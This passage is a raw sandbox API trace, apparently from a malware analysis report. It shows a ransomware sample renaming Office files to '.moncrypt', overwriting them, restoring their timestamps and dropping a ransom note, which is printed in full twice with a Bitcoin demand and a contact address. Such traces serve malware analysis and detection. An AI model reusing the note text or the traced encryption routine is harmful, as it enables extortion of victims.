returned 0x55bb88 [0049.018] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.018] GlobalUnlock (hMem=0x44000c) returned 0 [0049.018] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.019] GlobalUnlock (hMem=0x440004) returned 0 [0049.019] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.019] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.019] GlobalUnlock (hMem=0x440004) returned 0 [0049.019] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.019] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.019] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.019] GlobalUnlock (hMem=0x440004) returned 0 [0049.019] ReadFile (in: hFile=0x190, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0049.019] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0049.019] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0049.019] SetFilePointer (in: hFile=0x190, lDistanceToMove=20577, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x5061 [0049.019] WriteFile (in: hFile=0x190, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0049.019] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0049.020] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0049.031] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0049.031] CloseHandle (hObject=0x190) returned 1 [0049.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.032] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0049.032] CloseHandle (hObject=0x190) returned 1 [0049.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0049.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.034] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.034] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.034] GlobalUnlock (hMem=0x440004) returned 0 [0049.034] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.034] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.040] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.040] GlobalUnlock (hMem=0x440004) returned 0 [0049.040] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.040] GlobalUnlock (hMem=0x44000c) returned 0 [0049.040] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69c40, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.041] GetLastError () returned 0x2 [0049.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.043] WriteFile (in: hFile=0x190, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0049.047] CloseHandle (hObject=0x190) returned 1 [0049.048] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0049.048] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.048] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.049] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.049] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.049] GlobalUnlock (hMem=0x44000c) returned 0 [0049.050] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.050] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.051] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.051] GlobalUnlock (hMem=0x44000c) returned 0 [0049.051] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.051] GlobalUnlock (hMem=0x440004) returned 0 [0049.051] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.052] CharLowerBuffW (in: lpsz="VisiorWW.XML", cchLength=0xc | out: lpsz="visiorww.xml") returned 0xc [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0049.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", cchWideChar=99, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpUsedDefaultChar=0x0) returned 99 [0049.061] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0049.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpUsedDefaultChar=0x0) returned 4 [0049.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0x54e280 [0049.062] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0049.062] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0049.062] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", dwFileAttributes=0x20) returned 1 [0049.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0049.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.moncrypt")) returned 1 [0049.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.065] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.065] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x2213 [0049.065] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.065] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x2213, lpOverlapped=0x0) returned 1 [0049.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.066] GlobalLock (hMem=0x44000c) returned 0x559b88 [0049.066] GlobalHandle (pMem=0x559b88) returned 0x44000c [0049.067] GlobalUnlock (hMem=0x44000c) returned 0 [0049.067] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.067] GlobalLock (hMem=0x44000c) returned 0x559b88 [0049.067] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.067] GlobalUnlock (hMem=0x440004) returned 0 [0049.067] GlobalHandle (pMem=0x559b88) returned 0x44000c [0049.067] GlobalUnlock (hMem=0x44000c) returned 0 [0049.067] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.067] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.067] GlobalUnlock (hMem=0x44000c) returned 0 [0049.067] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.067] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.067] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.067] GlobalUnlock (hMem=0x44000c) returned 0 [0049.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.078] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0049.078] CloseHandle (hObject=0x190) returned 1 [0049.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0049.079] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.079] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.079] GlobalUnlock (hMem=0x44000c) returned 0 [0049.079] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.079] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.079] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.079] GlobalUnlock (hMem=0x44000c) returned 0 [0049.079] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.079] GlobalUnlock (hMem=0x440004) returned 0 [0049.079] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8347e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e8347e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e8347e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0049.079] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0049.079] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0049.079] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.080] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.080] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0049.080] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.080] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.080] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0049.080] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.080] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0049.080] CloseHandle (hObject=0x190) returned 1 [0049.080] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0049.081] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.081] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.081] GlobalUnlock (hMem=0x440004) returned 0 [0049.081] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.081] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.081] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.081] GlobalUnlock (hMem=0x440004) returned 0 [0049.081] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.081] GlobalUnlock (hMem=0x44000c) returned 0 [0049.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3e85a940, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e85a940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0049.081] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0049.081] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.081] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.081] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.081] GlobalUnlock (hMem=0x44000c) returned 0 [0049.082] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.082] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.082] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.082] GlobalUnlock (hMem=0x44000c) returned 0 [0049.082] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.082] GlobalUnlock (hMem=0x440004) returned 0 [0049.082] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.082] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3e85a940, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e85a940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.082] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.082] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.082] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.082] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.082] GlobalUnlock (hMem=0x440004) returned 0 [0049.082] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.082] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.082] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.082] GlobalUnlock (hMem=0x440004) returned 0 [0049.082] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.082] GlobalUnlock (hMem=0x44000c) returned 0 [0049.082] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.082] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8347e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e8347e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e8347e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0049.082] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.082] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, 